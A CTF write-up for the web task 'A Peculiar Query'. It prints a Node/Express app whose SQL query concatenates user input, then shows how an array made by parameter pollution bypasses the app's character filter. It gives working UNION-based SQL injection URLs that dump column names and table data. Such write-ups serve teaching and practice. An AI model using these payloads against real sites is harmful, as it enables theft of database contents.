Tags: sqli javascript web type 

Rating: 5.0

# **A Peculiar Query (180pts) (73 Solves)**

![TASK](https://imgur.com/A6EHPkW.png)

I really liked this web task , we are given this web page that have a search functionality

![TASK](https://imgur.com/gRutDcV.png)

And we can read the source code

```javascript

const express = require("express");
const rateLimit = require("express-rate-limit");
const app = express();
const { Pool, Client } = require("pg");
const port = process.env.PORT || 9090;
const path = require("path");

const client = new Client({
user: process.env.DBUSER,
host: process.env.DBHOST,
database: process.env.DBNAME,
password: process.env.DBPASS,
port: process.env.DBPORT
});

async function query(q) {
const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
return ret;
}

app.set("view engine", "ejs");

app.use(express.static("public"));

app.get("/src", (req, res) => {
res.sendFile(path.join(__dirname, "index.js"));
});

app.get("/", async (req, res) => {
if (req.query.q) {
try {
let q = req.query.q;
// no more table dropping for you
let censored = false;
for (let i = 0; i < q.length; i ++) {
if (censored || "'-\".".split``.some(v => v == q[i])) {
censored = true;
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
}
}
q = q.substring(0, 80);
const result = await query(q);
res.render("home", {results: result.rows, err: ""});
} catch (err) {
console.log(err);
res.status(500);
res.render("home", {results: [], err: "aight wtf stop breaking things"});
}
} else {
res.render("home", {results: [], err: ""});
}
});

app.listen(port, function() {
client.connect();
console.log("App listening on port " + port);
});

```

## Overview ##

It's pretty obvious that we have an sql injection here ( we are concatenating the user input )
> const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);

But as we can see some filters are here :'( these characters are filtered : [',-,",.] , after some tries i have figured that it will be impossible to bypass
them so i started looking to some JS tricks.
As we can see the filter function is looping over our input and checks if there are some prohibited characters and then it will replace
them with "*" , For example if we type
> hello"or 1=1 -- -

Our input will be changed to :
> hello************

```javascript
let q = req.query.q;
let censored = false;
for (let i = 0; i < q.length; i ++) {
if (censored || "'-\".".split``.some(v => v == q[i])) {
censored = true;
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
}
}
```

And finally it's using substring function to limit our input's length to 80 characters

```javascript
q = q.substring(0, 80);
const result = await query(q);
res.render("home", {results: result.rows, err: ""});
```
Hmmm everything seems okay nah ? but it's a ctf web task we have to find some vulnerabilities ! let's pass to how i did to solve it now, enough boring things

## Exploitation ##

The first thing i thinked about was http parameter pollution in express (read about it **[HERE](https://github.com/expressjs/express/issues/1824)** if you want ) ,briefly when we enter a get parameter multiple times express
has a weird interpretation , it will process this parameter as an array for example here, if we pass this in the query :
> ?q=hello&q=allo&q=fword

**req.query.q** will be parsed as an array **["hello","allo","fword"]** , so if we go further when we will be iterating of **q** variable we will be comparing each array field with the filters
for example, if we pass this query :
>q="or 1=1 -- -&q=fword

we will firstly compare **"or 1=1 -- -** and then the second field **fword** with these filtered chars **[',-,",.]** , they are not equal ! , Youupi we can get our flag now as we passed the check .

Unfortunately , it's not that easy ,have you forgot the substring function ? an array has not a built in substring function so when we reach the substring part this will raise an error so we won't execute the sql query :/
Javascript weird behaviour will save us this time ! if we do **[]+[]** the result is a string , the sum of two arrays is a string so if we enter a **"** in one query parameter
we will enter this part

```javascript
censored = true;
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
```
and arrays have a built in slice function so the result of **[]+"*"+[]** will be a string , we can now enter our payload with **q='** in the end to ensure that our array will be a string when it reaches the substring part
For example :
>q='or 1=1 -- -&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q='

will let us pass !

**FILTERS BYPASSED SUCCESSFULLY**

To test the number of q parameters and debug the app , i changed a little bit the source code and hosted the web app locally , you can find the modified source code **[HERE](https://github.com/kahla-sec/CTF-Writeups/blob/master/%C3%A5ngstromCTF2k20/A%20Peculiar%20Query/app.js)** if you want to test :D

![TASK](https://imgur.com/upRUoxR.png)

The next part is pretty classic , a simple sql injection , we will first dump the columns name (we know the table name from the source code)
> q=%27union%20SELECT%20column_name%20FROM%20information_schema.columns%20--%20-&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=%27

![TASK](https://imgur.com/XAVrsrR.png)

and finally we find a column named **crime** so our final payload will be :
>HOST/?q=%27union%20SELECT%20crime%20FROM%20criminals%20--%20-&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=%27

![TASK](https://imgur.com/7KWe6dF.png)

And Congratulations ! I want to thank the organizers for this great CTF and fun tasks , i have really enjoyed participating

Original writeup (https://github.com/kahla-sec/CTF-Writeups/tree/master/%C3%A5ngstromCTF2k20/A%20Peculiar%20Query).